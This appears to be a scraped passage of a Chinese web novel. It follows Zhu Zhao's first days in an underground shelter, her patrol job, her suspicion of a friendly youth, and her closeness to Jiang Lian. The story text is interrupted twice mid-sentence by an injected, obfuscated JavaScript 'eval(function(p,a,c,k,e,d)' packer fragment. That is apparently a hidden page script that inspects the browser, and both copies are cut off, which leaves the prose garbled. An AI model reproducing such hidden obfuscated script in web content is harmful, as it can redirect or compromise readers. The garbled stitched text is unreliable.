“嗯!昨天刚来的!”祝昭用力点头,眼睛亮晶晶地看着对方手里的勺子,“听说这里的伙食特别好!” 胖大叔脸上露出一丝不易察觉的笑意,没说什么,但手腕一沉,舀起满满一勺黏糊糊的、但看起来分量很足的燕麦粥状食物扣在她的餐盘里,似乎比给前面那人多了些。“多吃点,小丫头。”他低声说。 “谢谢叔叔!” 祝昭心满意足地端着餐盘找了个角落坐下。 看,这就是有效社交的第一步! 祝昭一边小口吃着味道寡淡但热乎的食物,一边耳朵竖起来,捕捉着周围零碎的对话——谁和谁因为争抢工具吵了架,哪个区域的供暖似乎出了点问题,还有人对即将到来的新一轮物资配给充满了担忧。 吃完早饭,祝昭按照昨晚研究的简易地图和江敛带她走过的路的记忆,前往公共供水站。 路上需要穿过一个小型的物资转运区。这里人来人往,显得有些杂乱。 就在祝昭小心避让着推着沉重货架车的工作人员时,眼角余光瞥见了一个有些奇怪的男人。 他穿着一身和其他搬运工无异的工装,正将一个个空着的金属箱子从场地东侧搬到西侧,码放整齐。 然后,他又折返回去,将那些刚刚码好的空箱子,一个一个地,再搬回东侧,重新堆叠起来。 如此循环往复,动作稳定、标准,甚至带着一种诡异的节奏感。 男人的脸上没有任何表情,眼神直勾勾地盯着前方,仿佛不是在搬运东西,而是在执行一段设定好的程序。 旁边一个像是监工的人靠在墙边,打着哈欠,对此景象似乎早已习以为常。 祝昭停下脚步,歪着头看了好一会儿。 这人……不累吗?而且,搬空箱子有什么意义? 她心里嘀咕,这人怕不是脑子有点轴,要么就是这儿的活儿实在太无聊,给憋坏了。 祝昭无端想起沈悬衡对她的提醒,可眼前这情况,实在有点超出她能判断的范围。 祝昭没有上前询问,只是把这个小小的疑惑存在心里,继续朝供水站走去。 供水站排着不长不短的队伍。祝昭百无聊赖地等着,目光四处游移。 就在这时,一个声音在她旁边响起,带着点自来熟和好奇。 “嘿,生面孔啊?新来的?” 祝昭转头,看到一个和自己年纪相仿的男孩,头发有点乱糟糟的,但眼睛很亮,正笑眯眯地看着她。他手里也拿着个水壶,看样子也是来打水的。 “嗯,昨天刚来的。”祝昭点点头。 “我叫陈哲,你可以叫我阿哲。这里的人都这么叫我。”男孩咧嘴一笑,露出两颗小虎牙,显得很有亲和力,“你呢?” “祝昭。” “祝昭……好名字。”阿哲点点头,很自然地就接上了话,“怎么样,还适应吗?这鬼地方刚来的时候是挺闷的,规矩也多。” “还行吧,正在熟悉。”祝昭觉得这人挺开朗,跟江敛那种闷葫芦完全不一样。 “慢慢来,有啥不懂的可以问我,我从巢穴建立开始就在了。”陈哲拍着胸脯,随即又压低声音,带着点分享秘密的架势,“告诉你啊,食堂最右边窗口那大叔,人最好说话,嘴甜点能多打一勺糊糊……” 两人一边排队一边闲聊,大多是陈哲在说,介绍着巢穴里的一些琐事,哪个角落晒太阳最舒服,哪个时间点去洗澡人最少。 祝昭听着,觉得这人还挺热心,更多的是能跟同龄人交流的喜悦。 很快轮到他们接水,陈哲接过祝昭的水壶,手脚麻利地帮她一起接了,省了她一番力气。 “谢啦!”祝昭虽然刚开始有些愣神,但还是礼貌道谢。 “客气啥!”陈哲摆摆手,“我就在C区那边帮忙打杂,有空来找我玩啊!”说完,他便笑着挥挥手,转身汇入了通道的人流中。 解决了水源问题,还意外认识了个新朋友,祝昭心情颇佳地继续她的“巢穴观光”。 通道四通八达,祝昭凭着直觉和那份简易地图的模糊印象,拐进了一个标着“第七活动区”的地方。 这里比通道宽敞许多,摆放着一些看起来还算完好的旧时代桌椅,甚至角落里还有个小书架,上面稀疏地插着几本封面磨损严重的书。 这里算是巢穴里难得的、能让人稍微放松一下的地方。 此刻,活动区里人不多,三三两两坐着,低声交谈或只是发呆。 就在这时,一阵压抑的、小动物般的啜泣声吸引了祝昭的注意。 她循声望去,只见一个看起来只有五六岁的小女孩,正蹲在一个通风栅格旁边,小手徒劳地伸进栅格缝隙里,肩膀一耸一耸地哭着。 栅格下面,一个用旧布头缝制的、眼睛都快掉下来的兔子玩偶,正可怜兮兮地卡在缝隙深处。 几乎是本能,祝昭几步就走了过去,蹲在小女孩身边,放柔了声音:“小妹妹,怎么啦?娃娃掉下去了?” 小女孩抬起泪汪汪的眼睛,看到是个面生的姐姐,怯生生地点点头,带着哭腔说:“兔、兔子……拿不到了……” “别哭别哭,姐姐帮你拿!”祝昭挽起袖子,信心满满。她先是试着用手直接去够,奈何缝隙太窄,手指根本碰不到。 祝昭又找旁边一个看起来好说话的大叔借了根细铁丝,弯成钩子,趴在地上,半边脸都快贴到冰冷的地面了,小心翼翼地伸进去勾。 折腾了好一会儿,鼻尖都冒了汗,脸上也蹭了道黑印,终于,那个可怜的兔子玩偶被成功地勾了出来。 “哇!兔子!” 小女孩破涕为笑,一把将失而复得的玩偶紧紧抱在怀里,脏不脏完全不在乎。 祝昭也松了口气,撑着有点发麻的腿站起来,拍了拍手上的灰,看着小女孩开心的样子,自己也忍不住笑了起来。 这点小小的成就感和帮助他人带来的满足,让她觉得这个灰扑扑的巢穴似乎也没那么讨厌了。 “谢谢你,太谢谢你了。”一个温和的女声在旁边响起。 祝昭转头,看到一个穿着整洁、约莫三十岁上下的女人快步走来,将小女孩揽到身边。她应该是女孩的母亲。 “不客气,举手之劳。” 祝昭摆摆手,露出一个灿烂的笑容。 她下意识地观察着对方——这位母亲看起来很得体,头发梳得一丝不苟,衣服虽然也是统一的灰色调,却显得异常平整。她脸上带着恰到好处的感激笑容,语气也十分真诚。 然而,就在这看似完美的道谢中,祝昭心里却掠过一丝极其细微的、说不清道不明的异样感。 这位母亲的笑容,像是用尺子量过一样,弧度标准,持续时间不差分毫。 她的眼神很清澈,却缺乏一种更深层的波动,像是平静无波的湖面,看不到底下应该有的一丝涟漪。 “您真是位善良的姑娘,”母亲继续说着,语调平稳,“巢穴就需要我们这样互相帮助,共同维护这里的秩序与和谐。” 这话听起来完全正确,无可指摘。 可祝昭就是觉得,这话太标准了,标准得像是在复述某条宣传标语。 祝昭的脑海里不由自主地又冒出沈悬衡说过的话。 几乎是下意识的,她的脚尖微微向后挪了半寸,仿佛想拉开一点无形的距离。 一些总结性的念头悄然浮上心头:这位母亲很好,很有礼貌,但感觉隔着一层看不见的玻璃,触碰不到内里真实的温度。 这种好,和那个机械搬箱子的男人那种怪,似乎有着某种说不清的相似之处,都缺少了点活人该有的人气儿。 带着一脑袋问号和满身灰尘,祝昭回到了B区居住层。 通道里的灯光已经调成了夜间模式,昏黄的光线让金属墙壁泛着陈旧的光泽。 她一边走一边下意识地搓着手指,试图把嵌在指甲缝里的那点黑泥弄掉,心里还琢磨着那个搬箱子的男人、那位过于完美的母亲,以及新认识的、非常自来熟的陈哲。 路过江敛的房门时,祝昭看着门缝底下透出的那丝微光,脚步顿了顿。她犹豫了一下,还是抬手敲了敲门。 门几乎是立刻就开了。 江敛似乎是刚结束上午的工作回来不久,身上还带着点机修车间特有的金属和润滑油混合的气味,正用一块布擦拭着手指上的油污。 看到门口脸上带着黑印、头发也有些乱糟糟的祝昭,他擦拭的动作停了一瞬。 “你这是……”他的视线在她脸上扫过,语气带着点疑问,“去管道区爬了?” “差不多!” 祝昭毫不在意地用手背擦了擦脸颊,侧身挤进了房间,嘴里已经开始噼里啪啦地往外倒话。 “我跟你说,我今天可算开了眼了!你知道我碰到什么怪事了吗?” 江敛看着她自来熟地占据了他房间里唯一那把椅子,也没说什么,只是顺手关上了门。他继续靠在桌边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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祝昭看到巡逻的卫兵虽然表情严肃,但交接班时会低声开玩笑;看到负责清洁的人一边打扫一边小声抱怨;看到有人在活动区偷偷交换自己攒下的小玩意儿。 那个搬箱子的男人和标准母亲带来的违和感,似乎被这些充满生活气息的细节冲淡了不少。 祝昭甚至开始觉得,巢穴大体上还是正常的,那两个人或许真的只是比较个别…… 自由适应的最后一天下午,祝昭和江敛被通知前往一个指定的区域。 通知上说,所有新近觉醒异能的人员都需要参加一个“异能认知与基础控制”讲座。 这大概是巢穴对他们这类人的例行管理。 讲座地点是一个不大的会议室。 他们到的时候,里面已经坐了几个人。 让祝昭有些意外的是,陈哲也在其中。 他看到祝昭和江敛,立刻热情地挥手,示意他们坐到他旁边的空位。 “好巧啊!你们也来了?” 陈哲压低声音,脸上带着惊喜。 “嗯。” 祝昭点点头,坐在了他旁边,江敛则沉默地坐在了她另一侧。 讲座内容很基础,主要是强调异能的危险性、失控的后果以及遵守巢穴规定的重要性。 讲师语气刻板,听起来和那位母亲的语调有几分相似,但内容本身无可厚非。 讲座结束后,人群开始散去。 陈哲很自然地跟在祝昭和江敛身边,一起往外走。 “没想到你们也是……”陈哲做出一个夸张的表情,随即又好奇地问,“对了,祝昭,你的异能是什么啊?肯定很特别吧?我感觉你就不一般。” 祝昭刚要随口回答,旁边的江敛却突然不着痕迹地轻轻碰了一下她的胳膊肘。 祝昭一愣,转头看向江敛,只见他目视前方,脸上没什么表情,但那个轻微的触碰带着明确的阻止意味。 就在这一瞬间,祝昭忽然意识到,陈哲这个问题问得太自然,也太直接了。 结合他之前过分的热情,以及此刻江敛这无声的提醒,她心里猛地警醒起来。 祝昭之前觉得巢穴大体正常的想法动摇了。 “啊,就是一点小把戏,没什么特别的。”祝昭立刻改口,打了个哈哈,学着陈哲之前分享八卦的语气,“比不上你在这里待了半年见多识广。” 陈哲笑了笑,似乎没在意,又把话题转向别处,但祝昭已经暗自决定,关于自己和同伴们的事情,一个字都不能向他透露。 走在回居住区的通道里,江敛依旧沉默。 但祝昭能感觉到,他那份沉默之下,是一种同样察觉到了不对劲的确认。 他刚才的提醒,无声地印证了她心中刚刚升起的疑虑。 当巢穴的熄灯预备铃音响起时,祝昭躺在自己的床上。 探索结束了,真正的生存挑战,现在才刚刚开始。 明天,祝昭将被分配工作。 她必须带着这三天积攒下的所有观察和判断,更加谨慎地走下去。 不仅要活着,更要清醒地活着。 23. 正式成为牛马了! 凌晨五点。 祝昭从江敛那里得到的,稍显破旧的闹钟上这样显示。 通道里昏黄的长明灯光,换成了一种冷飕飕、惨白惨白的色调。 祝昭正梦见自己抱着个比她还大的、热乎乎的、刚出炉的巨大香甜面包,口水差点浸湿了新领的枕头。 “咚、咚、咚。” 清晰,有力,带着一种“不开门就敲到门凿出一个洞”的执拗,毫不客气地凿穿了她的美梦。 祝昭一个激灵,猛地从床上弹起来,心脏砰砰乱跳,脑子里一团浆糊。 谁?怪物打进来了?! 她晕头转向地摸到门边,扒拉了一下睡得四处乱翘的头发,勉强把眼睛睁开一条缝,拉开了房门。 门外站着一个人。 她个子不高,甚至比祝昭还矮上小半个头。 她穿着一身浆洗得笔挺、没有任何标识的深灰色制服。头发在脑后梳成一个紧实得一丝碎发都不见的丸子头,额头上梳着有些短和杂乱的刘海。一张脸看起来意外的……嫩?大眼睛,小嘴巴,乍一看像是哪个技术员家没成年的妹妹偷穿了大人衣服。 但那双眼睛——清澈,锐利,像两汪结了冰的深潭,没有任何属于“妹妹”的懵懂或好奇。 她只是平静地看着祝昭,目光扫过她睡眼惺忪的脸和皱巴巴的睡衣,没有任何评价,却让祝昭瞬间一个激灵,所有瞌睡虫尖叫着跑光,脊背下意识就挺直了,连带着想把那点没睡醒的迷糊气儿都给憋回去。 “祝昭?”对方开口,声音不高,却带着一种奇特的穿透力,字正腔圆,没有任何拖泥带水,“我是巡逻队第三小队队长,唐柚叶。” 名字听起来居然有点软乎乎的,跟她此刻给人的感觉截然相反。 不等祝昭反应,唐柚叶已经将手里抱着的一摞东西递了过来。 “你的装备。制服,基础武器,今天的早餐。给你十分钟,整理好,门口集合。” 祝昭手忙脚乱地接过。 入手是折叠得棱角分明的灰色布料,一根沉甸甸、触手冰凉的金属短棍,还有一个用防油纸包得方正正的小包裹,散发着淡淡的、勾人食欲的谷物香气。 “啊?哦!好,好的!唐、唐队长!”祝昭舌头有点打结。 唐柚叶点了下头,没再多说一个字,转身,背对着门口站定,身姿挺拔如松,仿佛一尊瞬间进入待机状态的精密人偶。 祝昭“砰”地一声关上门,心脏还在咚咚直跳。 她靠着门板喘了口气,低头看看怀里这堆“突如其来的责任”,又想想门外那位气场两米八的“未成年”队长,一种极其不真实的感觉涌上心头。 祝昭不敢耽搁,飞快地扒掉睡衣,抖开那套巡逻队制服。 布料厚实,版型……毫无版型可言,灰扑扑的,穿上身瞬间让她看起来老了五岁,并且充满了“公家财产,生人勿近”的气质。 她把那根短棍别在腰后的武装带上,感觉别扭极了,走路都怕戳到自己。最后抓起那个早餐包,胡乱塞进上衣口袋里。 再次开门时,时间刚好过去九分半。 唐柚叶甚至没有回头确认,只是在她踏出房门的瞬间,抬步就走。“跟上。” 祝昭嘴里还叼着没来得及拆开的早餐包,一手扶着有点沉的短棍,小跑着才能跟上唐柚叶那频率极快的步伐。 “巡逻队第三小队,主要负责B区,及与之连接的C区部分通道、第七活动区、部分物资中转区的日常秩序维护,与异常情况初步排查及上报。” 唐柚叶的声音在前面响起,平稳得像在播报天气预报,语速却快得让祝昭必须竖起耳朵才能听清。 “你的职责:按时到岗,按划定路线巡逻,注意观察人员动态、环境变化、设备运行状态。发现纠纷,优先劝阻,无法控制,立刻呼叫支援。发现任何非正常现象——包括但不限于未授权聚集、不明能量波动、设备异常损耗、陌生面孔无记录游荡——记录,上报,非必要不单独介入。” 她脚步不停,甚至在一个岔路口毫不犹豫地右转。 “纪律:令行禁止。不得迟到、早退、擅离职守。武器,”她似乎微微侧头,余光扫过祝昭别在腰后、姿势别扭的短棍,“是最后手段,用以自保或制止严重危害行为,不得滥用。通讯器保持畅通,求救信号非紧急勿动。” 说完这一段,她顿了顿,语气似乎更沉了一些,像一块冰冷的铁烙在祝昭耳边。 “记住,新人。巢穴不是游乐场。你看到的每一分平静下面,都可能藏着你看不到的东西。” “你的任何一个疏忽,付出的代价可能不只是你一个人的积分或者关禁闭,而是你,或者你身边同伴的命。” 祝昭呼吸一紧,刚吃进嘴巴的早餐包差点掉下来。 她用力咽了口唾沫,把嘴里干巴巴的食物残渣咽下去,感觉心脏又被攥紧了几分。 就在这时,唐柚叶话锋似乎有了一丝极细微的松动,补充道:“当然,那是以后。现阶段,你只负责巢穴内侧划定的安全区域。等你能熟练处理内侧所有状况,证明自己的能力后,才会有机会参与外侧巡逻任务。” 外侧? 祝昭耳朵立刻竖了起来。 巢穴之外?那片充斥着数据风暴、变异怪物和未知危险的废墟? 她还没来得及细想,唐柚叶已经在一个标着“三队集合点”的宽敞通道口停下了脚步。 里面已经站了七八个同样穿着灰色制服的人,陈哲赫然在列,正对着她展现出一个“你终于来了”的熟悉笑容。 唐柚叶转过身,对队员们简单介绍了祝昭的基本信息,祝昭也做了个简单的自我介绍。 基本的礼仪过后,唐柚叶那双冰潭似的眼睛再次看向祝昭,将她从头到脚扫视一遍,尤其是在那根别得歪歪扭扭的短棍上停留了一瞬。 “入列。” 祝昭几乎是同手同脚地挪进了队列,站在了陈哲旁边。 陈哲趁唐柚叶转身布置任务的间隙,冲她挤了挤眼,用口型无声地说:“别紧张。” 唐柚叶的指令清晰简洁,如同她本人一样,没有半分冗余。 “今日任务,常规巡逻。分组照旧。陈哲,”她点名,“你带祝昭,熟悉B区主干线及连接C区的三号、五号通道。重点排查第七活动区边缘的闲置仓储段。记住,她是新人,你的任务是让她熟悉流程和观察要点,不是观光。” “明白,队长。” 陈哲收敛了玩笑神色,利落地应下。 队伍很快散开,各自朝着负责的区域走去。 陈哲对祝昭偏了偏头,露出一个让人放松的笑容:“走吧新人,跟着哥,保你今天受益匪浅。” “什么哥啊,”祝昭被他逗笑了,“你也没比我大几天!” 最初的紧张过去后,祝昭的好奇心开始活泛起来。 她跟在陈哲侧后方,眼睛忍不住四处打量。 巢穴内部的通道比她想象中更复杂,如同巨兽体内盘根错节的血管,灯火通明的主干道旁,延伸出无数条光线昏暗、不知通往何处的小径。 陈哲确实是个称职的“导师”。 他一边走,一边低声指点:“看到那个转角处的反光镜没?死角,必须慢下来,确认后面没藏着危险。”他指了指头顶一处偶尔闪烁一下的旧指示灯,“那玩意儿接触不良,闪三下是正常,要是连闪或者长亮,就得报告技术部了,可能是线路问题。” 他分享的经验琐碎而实用,比如如何通过通风管道气流的微弱变化判断远处是否有门开启,如何从居民匆匆一瞥的眼神里分辨出是单纯的警惕还是别有所图。 路过一片相对热闹的交易摊区时,他甚至能叫出几个摊主的名字,点头打过招呼后,低声告诉祝昭哪个摊主脾气躁容易起争执需要多留意,哪个老人听力不好,沟通需要耐心。 巡逻到那片靠近边缘、略显安静的闲置仓储区外通道时,光线变得有些昏暗,只有几盏功率不高的壁灯散发着惨淡的光。 周围异常安静,只能听到他们两人的脚步声和远处隐约传来的机械嗡鸣。 陈哲突然停下脚步,竖起一根手指抵在唇边,做了个噤声的手势,表情也变得有些神秘。 他压低声音,凑近祝昭:“哎,跟你说个事儿,别外传。听说这片区域,以前晚上巡夜的人,偶尔会听到……某种声音。” 祝昭的心一下子提了起来,手下意识握紧了腰后的短棍,耳朵都恨不得竖起来,紧张地扫视着幽深的通道尽头。 “什……什么声音?” 陈哲看着她瞬间绷紧的身体和瞪大的眼睛,憋了两秒,突然“噗嗤”笑出声,恢复了正常的音量:“骗你的啦!是旁边那条老旧的主通风管道,接口有点漏风,风大的时候就像人在叹气。看把你吓的!” 祝昭愣了一下,反应过来自己被耍了,气得捶了他胳膊一下:“陈哲!你吓死我了!” “哈哈,开个玩笑嘛,活跃下气氛。”陈哲笑着躲开,随即又正经起来,“不过这也算一课,在这种地方,自己吓自己比真遇到怪物还麻烦。保持警惕,但也别神经太紧绷。” 继续前行,他们遇到了之前给过祝昭果脯的老周。 老人依旧沉默,看到他们,只是点了点头,目光在祝昭崭新的制服上停留了一瞬,然后又默默从口袋里掏出一个小油纸包,塞到祝昭手里。 祝昭捏了捏,里面似乎是几块硬糖。她心里一暖,扬起自认为最甜的笑容,软软的说道:“谢谢周爷爷。” 旁边的陈哲看得眼馋,故意咂咂嘴:“老周爷,偏心了啊,我也天天从这儿过呢。” 老周只是撩起眼皮看了他一眼,没什么表情,又点了点头,算是打过招呼,便背着手慢悠悠走开了,留下陈哲在原地故作委屈地撇嘴。 “唉,新人待遇就是好,我们这种老菜帮子没人疼咯。” 祝昭被他夸张的表情逗笑,小心地把糖塞进制服口袋,感觉这份巡逻的工作似乎也没那么可怕了。 在一次巡逻间隙,两人靠在通道壁旁短暂休息,喝着自带的水。 陈哲拧上水壶盖子,很自然地开启了话题。 “说起来,咱们唐队看着脸嫩,训起人来可一点不留情面。” “我刚来那会儿,没少因为鸡毛蒜皮的小事被她揪住,那叫一个惨。” 他摇摇头,一副不堪回首的样子,随即语气又带上点不易察觉的维护。 “不过她人是真的好,能力强,也护短。只要你在她手底下认真干活,她就会把你当自己人罩着。” “听队里的老人说,唐队刚上任的时候,被其他队的队长看不起,认为唐队没什么能力。结果那个队长跟唐队出了一次外勤后,回来乖的跟只被顺毛的猫儿似的,再也不敢说唐队的不好。” 这话让祝昭对那位气场强大的队长多了几分亲切感,仿佛找到了共同挨训的战友。 陈哲话锋一转,目光带着恰到好处的佩服看向祝昭。 “不过说真的,祝昭,你适应能力挺强的。我看你昨天还懵懵的,今天就像模像样了。之前在外面……肯定吃了不少苦吧?能一个人走到巢穴,真了不起。” 祝昭的笑容淡了些,握着水壶的手指微微收紧。 外面的经历并不愉快,甚至有些记忆是破碎而痛苦的。 她含糊地嗯了一声,不想多谈:“都……都过去了。” 陈哲敏锐地察觉到了她的回避,立刻从善如流地把话题拉回现在,语气轻松。 “也是,过去的事儿就不提了。现在在巢穴里,总算能睡个安稳觉了。而且我看江敛那家伙,对你挺上心的。” 他顿了顿,用一种带着点调侃,又仿佛只是陈述事实的语气继续说。 “有他照应着,你在这儿能少走很多弯路。” “上心”这个词飘进耳朵,祝昭的心跳莫名漏了一拍。 她抬起头,想反驳,又不知该如何反驳。 江敛确实很照顾她,但这种照顾……是哪种“上心”呢? 她脑子里不由自主地又闪过回廊里那个模糊却坚定的“存在感”,那份无声的守护,与江敛平日沉默却细致的关怀隐隐重叠。 她张了张嘴,脸颊有些发烫,最终只是低下头,盯着自己的鞋尖,小声嘟囔。 “也,也没有很上心啦……我们应该算是,走过一段路的,同伴?” 陈哲将她细微的反应尽收眼底,笑了笑,没再继续这个话题,只是仰头喝完了最后一口水。 “休息得差不多了,走吧,前面还有一段路要巡呢。” 祝昭哦了一声,跟上他的脚步,心里却像被投入一颗小石子的湖面,那圈名为“江敛”的涟漪,正轻轻地荡漾开来。 而陈哲那句关于“江敛上心”的话,如同投入水面的石子,在她心中漾开的涟漪,一圈圈扩散,带着微热的温度,让她在接下来的巡逻里都有些心神不属。 陈哲似乎并未察觉,依旧尽职地讲解着注意事项,直到傍晚换岗的哨声响起。 这声音抽走了祝昭全身的力气,她精神一松懈,疲惫感便如同潮水般涌了上来。 祝昭拖着有些发酸的腿,和陈哲一起跟着队伍往回走,脑子里却塞满了一团乱麻。 唐柚叶队长冷冽的眼神、陈哲那些看似无心的话语、腰间短棍沉甸甸的触感,还有……“上心”那两个不断盘旋的字,搅得她心头纷乱。 祝昭下意识地摸了摸口袋里老周给的硬糖,冰凉的触感让她稍微清醒了些。 一种莫名的冲动,让祝昭想立刻见到江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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江敛静静地听着,在听到祝昭说起陈哲的事时,原本有些微扬的嘴角慢慢放平。 祝昭叽里呱啦的把今天的趣事说了一通,顿了顿,想起了陈哲今天提到的话题,状似无意地随口问道。 “哎,江敛,你跟陈哲熟吗?他好像跟谁都挺能聊得来的样子。” 江敛冲洗的动作几不可查地缓了一瞬。 他拿起旁边一块干净的布,开始擦拭手上的水珠,思考了一下,才平静地回答。 “不熟。” 他抬眼看了看祝昭,补充道:“在巡逻队集合点之外,我没注意过他。C区和我活动的区域,基本没有交集。” 这句话像一块小石头,轻轻砸在祝昭心里。 陈哲表现出的那种无处不在的熟稔,与江敛这里“查无此人”的评价,形成了一种微妙的割裂感。 “噢……我还以为,以陈哲那种性格,你也会跟他很熟呢。”祝昭有些尴尬的挠挠下巴。 这个话题似乎就此打住。 祝昭看着他沉稳的动作,心里那个关于回廊的疑问又冒了出来,像个小爪子轻轻挠着。 她犹豫再三,还是没忍住,声音低了些,带着点好奇的意味。 “江敛……之前在回廊里,发生了什么?我好像……记不太清楚了。只模模糊糊地觉得,好像有人,一直挡在我前面?” 她努力回忆,脑海中只有破碎的恐惧片段和一片令人安心的、沉默的阴影。 江敛擦拭的动作彻底停了下来。 他转过头,看向祝昭。 江敛的眼神依旧平静,但在那平静的深处,似乎掠过一丝极细微的、类似于柔和的东西。 他没有详细描述自己如何强行封存伤害,也没有提及身体承受的撕裂痛楚和情感冰封的窒息感,只是简单地、肯定地说:“都过去了。我们出来了,就够了。” 这是一种沉默的保护,不愿她重温那些失控和濒死的恐怖细节,也符合他一贯内敛、不愿多言的性格。 但这个过于简洁的回答,反而像一种无言的确认,让祝昭心中那个“稳定可靠”的身影,与眼前这个人彻底重合。 祝昭“哦”了一声,心里那点莫名的忐忑奇异地平复了下去。 她没再追问,转而自然地拿起旁边他乱放的一把小扳手,归置到墙角的工具架上。 江敛看着她动作,没说话,只是在她转身时,默默将自己还没用过的干净水杯往她手边推了推。 祝昭正觉得口干舌燥,也没客气,端起来喝了一大口。 微凉的水滑过喉咙,带走了巡逻一路的干渴,也让她纷乱的心绪渐渐沉淀。 两人之间没有再多的话语,只有水房里淅沥的水声,和一种无需言明、在生死间磨砺出的独特默契在静静流淌。 祝昭和江敛一并回到B区,进行简单的道别后,祝昭反手关上门,将外界的声音隔绝。 她背靠着冰凉的门板,长长地、无声地吁出了一口气。 “好像最近呼气的频率变多了,是太累了吗?还是思考太多?”祝昭开始了自己的胡思乱想。 这一天的经历,如同被打翻的调色盘,各种浓烈而陌生的色彩混杂在一起,在她脑海里翻腾。 唐柚叶队长那利落的身影和冷冽的警告言犹在耳,让她对“巡逻队”这三个字有了沉甸甸的实感,那不仅仅是制服和短棍,更是责任与危险。 陈哲热情友善的面孔下,那些看似不经意的试探,此刻在寂静中细细回味,如同平滑缎面上隐藏的细小结节,摸上去总带着一丝说不清道不明的滞涩感,尤其是江敛那句“没注意过”,更让这滞涩感变得清晰起来。 巢穴,远不是她最初想象的、只需担心物资和怪物的避难所。 然而,当这些纷乱的思绪沉淀下去,心底浮现的,却是江敛在水房时沉默的侧影,和他那句“我们出来了,就够了”。 “呃啊啊啊,我到底是怎么了,感觉心里怪怪的……” 那份源于生死之际的、无需言说的守护,像一块沉稳的基石,在她有些摇晃的世界里提供了坚实的支点。 祝昭仍然无法确切定义这份让她心安的感觉是什么。 友情?依赖? 抑或是别的什么更复杂的东西? 祝昭不知道。 但她清楚地知道,这份感觉真实、温暖,是她在这片陌生而复杂的环境中,唯一可以笃定抓住的锚点。 祝昭低头,从口袋里掏出老周给的那几颗硬糖,糖纸在昏暗的光线下泛着微弱的光泽。 她剥开一颗,放进嘴里,甜味丝丝缕缕地化开,驱散了些许疲惫。她握了握拳,像是在对自己宣誓。 不仅要做好巡逻的本分,更要擦亮眼睛,在这看似平静的水面下,分辨出哪些是暗流,哪些是礁石。 然后,提升自己的能力,成为能够保护他人的存在,成为能够还上沈悬衡他们的恩情的存在。 巢穴恒定的、低沉的嗡鸣声如同背景音般持续着,祝昭在这熟悉又陌生的声响中,带着一身疲惫、满腹思量,和嘴里尚未完全消散的甜意,缓缓沉入了睡眠。 24. 下雪了 巢穴内部的通道,即使在所谓的“白天”,也弥漫着一种恒定的、由人工照明和循环空气共同营造出的沉闷感。 江敛跟随守卫的步伐,穿过这些错综复杂的路径,脚步稳定,方向明确。 安检人员根据他的口头汇报,在与上级人员短暂交流后,通知他要去内务部进行详细报告。 内务部的办公室位于A区一个相对安静的角落,几乎所有上级人员都在此处工作与生活。 在到达目的地后,守卫先敲了三下门等待指令,才开门侧身让江敛进去。 里面是略显拥挤的办公区域,几张桌子后坐着工作人员。 江敛的目光扫过,径直走向靠里的一张桌子,后面坐着两位他需要对接的负责人——赵峰和王明远。 赵峰看起来四十多岁,头发梳理得还算整齐,正低头看着一份纸质文件。王明远年纪稍轻,坐在旁边,眼神有些放空,盯着天花板上某个点,直到江敛走到近前,他才似乎被脚步声惊醒,慢吞吞地看向他。 “赵干事,王干事。” 江敛开口,声音平稳,没有多余的寒暄。 “我来汇报第七搜寻小队队员江敛的归队情况,以及队长陈锐这次外出任务意外失联的正式记录。” 赵峰抬起头,放下文件,点了点头,示意他继续。 江敛开始陈述,语速不快,确保每个信息点都清晰准确。 他说明了队伍在外出搜寻物资时,队长李锐在前方探路时失去联系,队伍随后因不可抗力因素崩溃的过程。 江敛略去了回廊中具体的生死搏杀和异能觉醒的细节,只概括为“遭遇高强度精神攻击及实体威胁,侥幸脱身”。 他的叙述条理分明,时间、地点、人物、结果,如同在脑海中核对一份清单,逐项列出。 赵峰一边听,一边在终端上记录着,偶尔插话确认一两个细节。 当江敛提到系统内应无队长李锐的回归记录时,赵峰在终端上操作了几下,随即确认:“嗯,记录显示,李锐队长自出发当日至今,未有任何入口核验或生命信号反馈。” 江敛听到这句话的第一反应是皱了一下眉,绷紧的肩膀还是缓缓放松了下来。 果然,只有我一个人生还吗? “我们为你们小队的这次搜查任务感到很抱歉。巢穴会永远铭记你们所做的所有贡献,相应的补偿物资也会下发。” 就在这时,旁边的王明远像是才跟上他们的谈话内容,嘴唇动了动,用一种很干巴的语调说道::“对,对,没有记录。” 他的声音有些干涩,眼神在江敛脸上停留片刻,又缓缓移开,恢复了之前那种略显涣散的状态。 赵峰看了王明远一眼,眉头微不可查地蹙了一下,随即对江敛解释道:“老王前段时间出了次外勤,回来后就有点……没休息好。别介意。” 他的解释听起来合情合理,带着点对同事的维护。 江敛点了点头,表示理解。 他没有追问,而是将王明远刚才那片刻的异常反应,以及赵峰的解释,一同记在了心里。 江敛并不知晓王明远经历了什么,但是习惯于记录一些异常现象,总会给之后的自己留条后路。 “情况我大致了解了。”赵峰将记录存档,“你的回归信息已经更新。关于李锐队长,我们会标记为‘任务中失联’,纳入后续搜寻参考。辛苦了,如果没有其他需要汇报的事情,你可以回去好好休息了。” “好的,谢谢赵干事。”江敛应道。 他朝两人微微颔首,转身离开了内务部办公室。 通道里昏暗的光线落在他肩头,将江敛沉稳的身影拉长。 —— 守卫把江敛叫到通道一侧交代任务时,江敛的耳朵在认真听着巡逻路线的说明,目光却越过守卫的肩膀,落在不远处的祝昭身上。 她正把那个贴身珍藏的徽章塞给沈悬衡,说话时眼圈还红着,递出徽章的动作却异常坚决。 江敛看着这一幕,思绪飘回那个充斥着精神嘶鸣的数据回廊——在那里,所有感知都在崩塌,唯一真实的触感是臂弯里那个轻得快要消失的重量。 那一刻自己为什么会下意识护住祝昭? 江敛在心底冷静地剖析着自己。 也许只是因为,当整个世界都在分崩离析时,身边还有一个能呼吸、有心跳的同类,这本身就是一种证据,证明他江敛还作为“人类”存在。 在觉醒异能的时候,身体的五感也被强硬的放大。 那时候的他用仅剩的,尚未被拿来控制理性的理智去感受回廊里其他生物的生命体征。 结果只有他和眼前的,不知道从哪窜出来的女孩还有一线生机。 江敛其实也打算一了百了,但是当他看到祝昭的时候,像是有某种力量牵动了一下他的心脏,让他下意识的想保护这个支离破碎的人。 